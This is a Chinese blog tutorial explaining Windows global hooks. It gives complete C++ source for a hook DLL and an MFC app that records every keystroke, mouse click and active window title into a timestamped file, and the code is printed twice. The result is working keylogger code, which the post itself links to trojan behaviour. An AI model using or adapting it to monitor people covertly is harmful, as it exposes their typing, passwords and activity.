Windows 全局鉤子 Hook 詳解

監控程序的實現 
     我們發現一些木馬或其他病毒程序常常會將我們的鍵盤或鼠標的操作消息記錄下來然後再將它發到他們指定的地方以實現監聽.這種功能其他是利用了全局鉤子將鼠標或鍵盤消息進行了截取,從而獲得了操作的消息.要得到鼠標和鍵盤的控制權,我們要用SetWindowsHookEx這個函數: 
HHOOK SetWindowsHookEx( 
   int idHook,        // type of hook to install 
   HOOKPROC lpfn,     // address of hook procedure 
   HINSTANCE hMod,    // handle to application instance 
   DWORD dwThreadId   // identity of thread to install hook for 
); 
        其中idHook是要安裝的鉤子標識即鉤子的類型,lpfn是鉤子函數的消息處理過程,hMod是應用程序的實例句柄,dwThreadId是要爲哪個線程安裝鉤子.如果它爲0則爲全部線程都安裝鉤子,即爲全局鉤子.這就是獲得全部應用程序消息控制權的開始.我們安裝的鉤子類型有很多種主要是下面的: 
WH_CALLWNDPROC

WH_CALLWNDPROCRET

WH_CBTWH_DEBUG

WH_FOREGROUNDIDLE

WH_GETMESSAGE

WH_JOURNALPLAYBACK

WH_JOURNALRECORD

WH_KEYBOARD

WH_KEYBOARD_LL

WH_MOUSE

WH_MOUSE_LL

WH_MSGFILTER

WH_SHELL

WH_SYSMSGFILTER 
       其中WH_MOUSE是鼠標鉤子,WH_KEYBOARD是鍵盤鉤子. 
不同的鉤子對應不同的鉤子過程,鉤子過程的寫法(以鍵盤鉤子過程爲例)是: 
LRESULT CALLBACK MouseProc( 
   int nCode,      // hook code 
   WPARAM wParam,  // message identifier 
   LPARAM lParam   // mouse coordinates 
); 
鉤子過程的名字是沒關係的. 


要取消鉤子的安裝可以用UnhookWindowsEx: 
BOOL UnhookWindowsHookEx( 
   HHOOK hhk   // handle to hook procedure to remove 
);

      下面要介紹一下如何讓每個應用程序要安裝上鉤子函數,要讓每個應用程序都安裝上鉤子要用到動態鏈接庫的知識,利用動態鏈接庫加載到每個應用程序中. 
       我們首先用VC6.0新建一個WINDOWS動態鏈接庫的空工程,新建一個頭文件爲了動態鏈接庫本身和使用動態鏈接庫的應用程序也能用,我們定義好導入導出宏和自定義消息以及要導入和導出的函數的定義: 
//HookDll.h 
// 定義函數修飾宏,方便引用本DLL工程的導出函數 
#ifdef KEYHOOKLIB_EXPORTS 
#define KEYHOOKLIB_API  __declspec(dllexport)                 //導出宏 
#else 
#define KEYHOOKLIB_API  __declspec(dllimport)               //導入宏 
#endif 
       // 自定義與主程序通信的消息 
#define HM_KEY WM_USER + 101                   //自定義鍵盤消息 
#define HM_MOUSE WM_USER +102               //自定義鼠標消息 
       // 聲明要導出的函數 
BOOL KEYHOOKLIB_API WINAPI SetKeyHook(BOOL bInstall, 
           DWORD dwThreadId = 0, HWND hWndCaller = NULL); 
BOOL KEYHOOKLIB_API WINAPI SetMouseHook(BOOL bInstall, 
           DWORD dwThreadId = 0, HWND hWndCaller = NULL

     下面再新建一個C++源文件HookDll.cpp: 
我們先包含<windows.h>頭文件 
再定義#define KEYHOOKLIB_EXPORTS讓包含"HookDll.h"的時候,我們使用的是導出宏, 
#include "HookDll.h" 
#pragma data_seg("YCIShared") 
       HWND g_hWndCaller = NULL; // 保存主窗口句柄 
       HHOOK g_hHook = NULL;   // 保存鉤子句柄 
       HHOOK g_hMouseHook=NULL; 
#pragma data_seg() 
       我們上面定義了共享的全局窗口句柄和全局的鉤子標識,是爲了所有應用程序都共享這三個變量. 
下面是鉤子函數的實現代碼: 

  1. HMODULE WINAPI ModuleFromAddress(PVOID pv) //獲得鉤子函數的地址   
  2. {   
  3.       MEMORY_BASIC_INFORMATION mbi;   
  4.      if(::VirtualQuery(pv, &mbi, sizeof(mbi)) != 0)   
  5.      {   
  6.           return (HMODULE)mbi.AllocationBase;   
  7.      }   
  8.      else   
  9.     {   
  10.          return NULL;   
  11.     }   
  12. }   
  13. LRESULT CALLBACK KeyHookProc(int nCode, WPARAM wParam, LPARAM lParam)// 鍵盤鉤子函數消息過程   
  14. {   
  15.      if(nCode < 0 || nCode == HC_NOREMOVE)   
  16.           return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);  
  17.      if(lParam & 0x40000000) // 消息重複就交給下一個hook鏈   
  18.     {   
  19.        return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);   
  20.     }  
  21.     // 通知主窗口。wParam參數爲虛擬鍵碼, lParam參數包含了此鍵的信息   
  22.     ::PostMessage(g_hWndCaller, HM_KEY, wParam, lParam);   //發送自定義鍵盤消息   
  23.     return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);   
  24. }   
  25. BOOL WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)// 安裝、卸載鉤子的函數   
  26. {   
  27.     BOOL bOk;   
  28.     g_hWndCaller = hWndCaller;  
  29.     if(bInstall)   
  30.    {   
  31.        g_hHook = ::SetWindowsHookEx(WH_KEYBOARD, KeyHookProc,   
  32.        ModuleFromAddress(KeyHookProc), dwThreadId);               //安裝鍵盤鉤子   
  33.       bOk = (g_hHook != NULL);   
  34.    }   
  35.    else   
  36.    {   
  37.    bOk = ::UnhookWindowsHookEx(g_hHook);   
  38.    g_hHook = NULL;   
  39.    }  
  40.    return bOk;   
  41. }   
  42. LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam)//鼠標鉤子處理過程   
  43. {   
  44.    if(nCode < 0 || nCode == HC_NOREMOVE)   
  45.    return ::CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);   
  46.    ::PostMessage(g_hWndCaller, HM_MOUSE, wParam, lParam);//發送自定義鼠標消息   
  47.    return ::CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);   
  48. }   
  49. BOOL WINAPI SetMouseHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)   
  50. {   
  51.    BOOL bOk;   
  52.    g_hWndCaller = hWndCaller;   
  53.    if(bInstall)   
  54.    {   
  55.        g_hMouseHook = ::SetWindowsHookEx(WH_MOUSE, MouseProc,   
  56.        ModuleFromAddress(MouseProc),dwThreadId);   //安裝鼠標鉤子   
  57.        bOk = (g_hMouseHook != NULL);   
  58.    }   
  59.    else   
  60.   {   
  61.        bOk = ::UnhookWindowsHookEx(g_hMouseHook);   
  62.        g_hMouseHook = NULL;   
  63.   }   
  64.      return bOk;   
  65. }   
HMODULE WINAPI ModuleFromAddress(PVOID pv) //獲得鉤子函數的地址 
{ 
      MEMORY_BASIC_INFORMATION mbi; 
     if(::VirtualQuery(pv, &mbi, sizeof(mbi)) != 0) 
     { 
          return (HMODULE)mbi.AllocationBase; 
     } 
     else 
    { 
         return NULL; 
    } 
} 
LRESULT CALLBACK KeyHookProc(int nCode, WPARAM wParam, LPARAM lParam)// 鍵盤鉤子函數消息過程 
{ 
     if(nCode < 0 || nCode == HC_NOREMOVE) 
          return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);
     if(lParam & 0x40000000) // 消息重複就交給下一個hook鏈 
    { 
       return ::CallNextHookEx(g_hHook, nCode, wParam, lParam); 
    }
    // 通知主窗口。wParam參數爲虛擬鍵碼, lParam參數包含了此鍵的信息 
    ::PostMessage(g_hWndCaller, HM_KEY, wParam, lParam);   //發送自定義鍵盤消息 
    return ::CallNextHookEx(g_hHook, nCode, wParam, lParam); 
} 
BOOL WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)// 安裝、卸載鉤子的函數 
{ 
    BOOL bOk; 
    g_hWndCaller = hWndCaller;
    if(bInstall) 
   { 
       g_hHook = ::SetWindowsHookEx(WH_KEYBOARD, KeyHookProc, 
       ModuleFromAddress(KeyHookProc), dwThreadId);               //安裝鍵盤鉤子 
      bOk = (g_hHook != NULL); 
   } 
   else 
   { 
   bOk = ::UnhookWindowsHookEx(g_hHook); 
   g_hHook = NULL; 
   }
   return bOk; 
} 
LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam)//鼠標鉤子處理過程 
{ 
   if(nCode < 0 || nCode == HC_NOREMOVE) 
   return ::CallNextHookEx(g_hMouseHook, nCode, wParam, lParam); 
   ::PostMessage(g_hWndCaller, HM_MOUSE, wParam, lParam);//發送自定義鼠標消息 
   return ::CallNextHookEx(g_hMouseHook, nCode, wParam, lParam); 
} 
BOOL WINAPI SetMouseHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller) 
{ 
   BOOL bOk; 
   g_hWndCaller = hWndCaller; 
   if(bInstall) 
   { 
       g_hMouseHook = ::SetWindowsHookEx(WH_MOUSE, MouseProc, 
       ModuleFromAddress(MouseProc),dwThreadId);   //安裝鼠標鉤子 
       bOk = (g_hMouseHook != NULL); 
   } 
   else 
  { 
       bOk = ::UnhookWindowsHookEx(g_hMouseHook); 
       g_hMouseHook = NULL; 
  } 
     return bOk; 
} 


最後再在工程目錄下建一個HookDll.def模塊定義文件.寫上以下代碼 
LIBRARY HookDll 
EXPORTS         //指明導出函數名稱 
   SetKeyHook 
   SetMouseHook 
SECTIONS       //指明共享字段 
   YCIShared   Read Write Shared 
        用了模塊定義文件時,在使用動態鏈接庫的時間就可以直接用函數名調用函數了,否則將無法找到函數.其實用模塊定義文件是爲了不讓動態鏈接庫發生名字改編.

       有了動態鏈接庫後我們還需要用一個應用程序來設置和記錄我們的鼠標和鍵盤記錄. 
       我們新建一個基於對話框的MFC應用程序工程HookApp.我們首先爲我們的自定義消息添加所需消息響應的實現代碼. 
      在對話框類的頭文件的protected下面的註釋宏中間加入 
afx_msg longonHookKey(WPARAM wParam, LPARAM lParam); 
afx_msg longonHookMouse(WPARAM wParam, LPARAM lParam); 
      指明消息處理函數,然後在對話框類的源文件中的 
BEGIN_MESSAGE_MAP(CHookAppDlg, CDialog) 
和END_MESSAGE_MAP之間加入下面的代碼 
     ON_MESSAGE(HM_KEY,onHookKey) 
     ON_MESSAGE(HM_MOUSE,onHookMouse) 
定義好後在源文件中寫其實現函數: 

  1. long CHookAppDlg::OnHookKey(WPARAM wParam, LPARAM lParam)   
  2. {   
  3.           // 此時參數wParam爲用戶按鍵的虛擬鍵碼,   
  4.           // lParam參數包含按鍵的重複次數、掃描碼、前一個按鍵狀態等信息   
  5.          char szKey[80];   
  6.         ::GetKeyNameText(lParam, szKey, 80);   //獲得按鍵名   
  7.          CString strItem;   
  8.          strItem.Format("用戶按鍵:%s", szKey);   
  9.           CListBox *pListCtrl=((CListBox *)this->GetDlgItem(IDC_LIST1));   
  10.          pListCtrl->InsertString(-1,strItem);   
  11.         CFile MyFile;   
  12.         char *content;   
  13.         if(!MyFile.Open(this->MyDocumentDir,   
  14.              CFile::modeRead | CFile::modeWrite))   
  15.        {   
  16.                  MyFile.Open(this->MyDocumentDir,   
  17.                             CFile::modeCreate);   
  18.                 return 0;   
  19.       }   
  20.       MyFile.SeekToEnd();                 //移動記錄指針到末尾   
  21.       pListCtrl->GetText(pListCtrl->GetCount()-1,strItem);   
  22.       content=strItem.GetBuffer(MAX_PATH);   
  23.        MyFile.Write(content,strItem.GetLength());   
  24.        CTime today=CTime::GetCurrentTime();   
  25.        CString str=today.Format("/t/t%Y年%m月%d日 %H:%M:%S/r/n");   
  26.       MyFile.Write(str.GetBuffer(str.GetLength()),str.GetLength());   
  27.       MyFile.Close();   
  28.      return 0;   
  29. }   
  30. long CHookAppDlg::OnHookMouse(WPARAM wParam, LPARAM lParam)   
  31. {   
  32. LPMOUSEHOOKSTRUCT pMouseHook=(MOUSEHOOKSTRUCT FAR *)lParam;   
  33. CString strItem,strText;   
  34.      CListBox *pListCtrl=((CListBox *)this->GetDlgItem(IDC_LIST1));   
  35. CPoint point;   
  36. ::GetCursorPos(&point);   
  37. ClientToScreen(&point);   
  38. CWnd *pWnd=CWnd::GetForegroundWindow();   
  39. if(pWnd)   
  40. {   
  41.    char str[80];   
  42.    pWnd->GetWindowText(str,80);   
  43.    strText.Format("窗口:%s",str);   
  44. }   
  45. CString str;   
  46. /*CString tempstr;  
  47. //   ClientToScreen(&pMouseHook->pt);  
  48.    int x,y;  
  49.    x=pMouseHook->pt.x;  
  50.    y=pMouseHook->pt.y;  
  51.    tempstr.Format("X=%d,Y=%d",x,y);  
  52.    strText+=tempstr;*/   
  53.      if(wParam==WM_RBUTTONDOWN)   
  54.    {   
  55.             str.Format("   右鍵單擊:位置 X=%d,Y=%d",point.x,point.y);   
  56.             strText+=str;   
  57.             pListCtrl->InsertString(-1,strText);   
  58.            this->SaveToFile(strText,pListCtrl);   
  59.   }   
  60. if(wParam==WM_LBUTTONDBLCLK)   
  61. {   
  62.      ScreenToClient(&point);   
  63.    str.Format("   左鍵雙擊:位置 X=%d,Y=%d",point.x,point.y);   
  64.    strText+=str;   
  65.    pListCtrl->InsertString(-1,strText);   
  66.    this->SaveToFile(strText,pListCtrl);   
  67. }   
  68. if(wParam==WM_LBUTTONDOWN)   
  69. {   
  70.    str.Format("   左鍵單擊:位置 X=%d,Y=%d",point.x,point.y);   
  71.    //MessageBox(strText);   
  72.    strText+=str;   
  73.    pListCtrl->InsertString(-1,strText);   
  74.    this->SaveToFile(strText,pListCtrl);   
  75. }   
  76. return 0;   
  77. }   
  78. void CHookAppDlg::SaveToFile(CString strText,CListBox *pListCtrl)   
  79. {   
  80. char *content;   
  81.      CFile MyFile;   
  82. if(!MyFile.Open(this->MyDocumentDir,   
  83.    CFile::modeRead | CFile::modeWrite))   
  84. {   
  85.    MyFile.Open(this->MyDocumentDir,   
  86.    CFile::modeCreate);   
  87.    pListCtrl->InsertString(-1,"失敗");   
  88.    return;   
  89. }   
  90. MyFile.SeekToEnd();   
  91. content=strText.GetBuffer(strText.GetLength());   
  92. MyFile.Write(content,strText.GetLength());   
  93. CTime today=CTime::GetCurrentTime();   
  94. CString strTime=today.Format("/t/t%Y年%m月%d日 %H:%M:%S/r/n");   
  95. MyFile.Write(strTime.GetBuffer(strTime.GetLength()),strTime.GetLength());   
  96. MyFile.Close();   
  97. }   
long CHookAppDlg::OnHookKey(WPARAM wParam, LPARAM lParam) 
{ 
          // 此時參數wParam爲用戶按鍵的虛擬鍵碼, 
          // lParam參數包含按鍵的重複次數、掃描碼、前一個按鍵狀態等信息 
         char szKey[80]; 
        ::GetKeyNameText(lParam, szKey, 80);   //獲得按鍵名 
         CString strItem; 
         strItem.Format("用戶按鍵:%s", szKey); 
          CListBox *pListCtrl=((CListBox *)this->GetDlgItem(IDC_LIST1)); 
         pListCtrl->InsertString(-1,strItem); 
        CFile MyFile; 
        char *content; 
        if(!MyFile.Open(this->MyDocumentDir, 
             CFile::modeRead | CFile::modeWrite)) 
       { 
                 MyFile.Open(this->MyDocumentDir, 
                            CFile::modeCreate); 
                return 0; 
      } 
      MyFile.SeekToEnd();                 //移動記錄指針到末尾 
      pListCtrl->GetText(pListCtrl->GetCount()-1,strItem); 
      content=strItem.GetBuffer(MAX_PATH); 
       MyFile.Write(content,strItem.GetLength()); 
       CTime today=CTime::GetCurrentTime(); 
       CString str=today.Format("/t/t%Y年%m月%d日 %H:%M:%S/r/n"); 
      MyFile.Write(str.GetBuffer(str.GetLength()),str.GetLength()); 
      MyFile.Close(); 
     return 0; 
} 
long CHookAppDlg::OnHookMouse(WPARAM wParam, LPARAM lParam) 
{ 
LPMOUSEHOOKSTRUCT pMouseHook=(MOUSEHOOKSTRUCT FAR *)lParam; 
CString strItem,strText; 
     CListBox *pListCtrl=((CListBox *)this->GetDlgItem(IDC_LIST1)); 
CPoint point; 
::GetCursorPos(&point); 
ClientToScreen(&point); 
CWnd *pWnd=CWnd::GetForegroundWindow(); 
if(pWnd) 
{ 
   char str[80]; 
   pWnd->GetWindowText(str,80); 
   strText.Format("窗口:%s",str); 
} 
CString str; 
/*CString tempstr; 
//   ClientToScreen(&pMouseHook->pt); 
   int x,y; 
   x=pMouseHook->pt.x; 
   y=pMouseHook->pt.y; 
   tempstr.Format("X=%d,Y=%d",x,y); 
   strText+=tempstr;*/ 
     if(wParam==WM_RBUTTONDOWN) 
   { 
            str.Format("   右鍵單擊:位置 X=%d,Y=%d",point.x,point.y); 
            strText+=str; 
            pListCtrl->InsertString(-1,strText); 
           this->SaveToFile(strText,pListCtrl); 
  } 
if(wParam==WM_LBUTTONDBLCLK) 
{ 
     ScreenToClient(&point); 
   str.Format("   左鍵雙擊:位置 X=%d,Y=%d",point.x,point.y); 
   strText+=str; 
   pListCtrl->InsertString(-1,strText); 
   this->SaveToFile(strText,pListCtrl); 
} 
if(wParam==WM_LBUTTONDOWN) 
{ 
   str.Format("   左鍵單擊:位置 X=%d,Y=%d",point.x,point.y); 
   //MessageBox(strText); 
   strText+=str; 
   pListCtrl->InsertString(-1,strText); 
   this->SaveToFile(strText,pListCtrl); 
} 
return 0; 
} 
void CHookAppDlg::SaveToFile(CString strText,CListBox *pListCtrl) 
{ 
char *content; 
     CFile MyFile; 
if(!MyFile.Open(this->MyDocumentDir, 
   CFile::modeRead | CFile::modeWrite)) 
{ 
   MyFile.Open(this->MyDocumentDir, 
   CFile::modeCreate); 
   pListCtrl->InsertString(-1,"失敗"); 
   return; 
} 
MyFile.SeekToEnd(); 
content=strText.GetBuffer(strText.GetLength()); 
MyFile.Write(content,strText.GetLength()); 
CTime today=CTime::GetCurrentTime(); 
CString strTime=today.Format("/t/t%Y年%m月%d日 %H:%M:%S/r/n"); 
MyFile.Write(strTime.GetBuffer(strTime.GetLength()),strTime.GetLength()); 
MyFile.Close(); 
} 


上面的代碼就是實現將鼠標消息和鍵盤消息的操作消息添加到一個列表框中和記錄到一個文件上的代碼.其中this->MyDocumentDir是你要將操作消息記錄到的文件路徑.

在對話框初始化的時候
if(!SetKeyHook(TRUE,0, m_hWnd))
   MessageBox("安裝鉤子失敗!");
if(!SetMouseHook(TRUE,0, m_hWnd))
   MessageBox("安裝鉤子失敗!");

最後在
void CHookAppDlg::OnDestroy() 
{
::SetKeyHook(FASLE);//取消安裝鉤子
::SetMouseHook(FALSE);//取消安裝鉤子
}

         這是鼠標和鍵盤消息的監聽代碼,你也可以爲應用程序安裝其他類型的鉤子.

發佈了65 篇原創文章 · 獲贊 60 · 訪問量 26萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章